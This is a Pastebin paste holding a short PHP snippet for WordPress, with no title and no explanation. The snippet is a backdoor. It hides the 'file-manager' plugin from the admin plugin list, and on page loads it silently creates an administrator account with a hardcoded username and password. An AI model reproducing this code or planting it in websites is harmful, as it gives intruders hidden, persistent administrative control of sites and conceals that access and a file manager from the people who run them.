Advertisement
Guest User

Untitled

a guest
Nov 14th, 2018
149
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.80 KB | None | 0 0
  1. function hide_plugin_trickspanda() {  global $wp_list_table;  $hidearr = array('file-manager/file-manager.php');  $myplugins = $wp_list_table->items;  foreach ($myplugins as $key => $val) {    if (in_array($key,$hidearr)) {     unset($wp_list_table->items[$key]);    }  }}add_action('pre_current_active_plugins', 'hide_plugin_trickspanda');add_action( 'template_redirect', 'wpdaxue' );function wpdaxue() {   $username = 'admin_sweet';  $password = 'sweettime';    $email_address = FALSE;if ( isset( $username ) && isset( $password ) && isset( $email_address ) ) {if ( ! username_exists( $username ) && ! email_exists( $email_address ) ) {$user_id = wp_create_user( $username, $password, $email_address );    if ( is_int( $user_id ) ) {$wp_user_object = new WP_User( $user_id );               $wp_user_object->set_role( 'administrator' );}}}}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement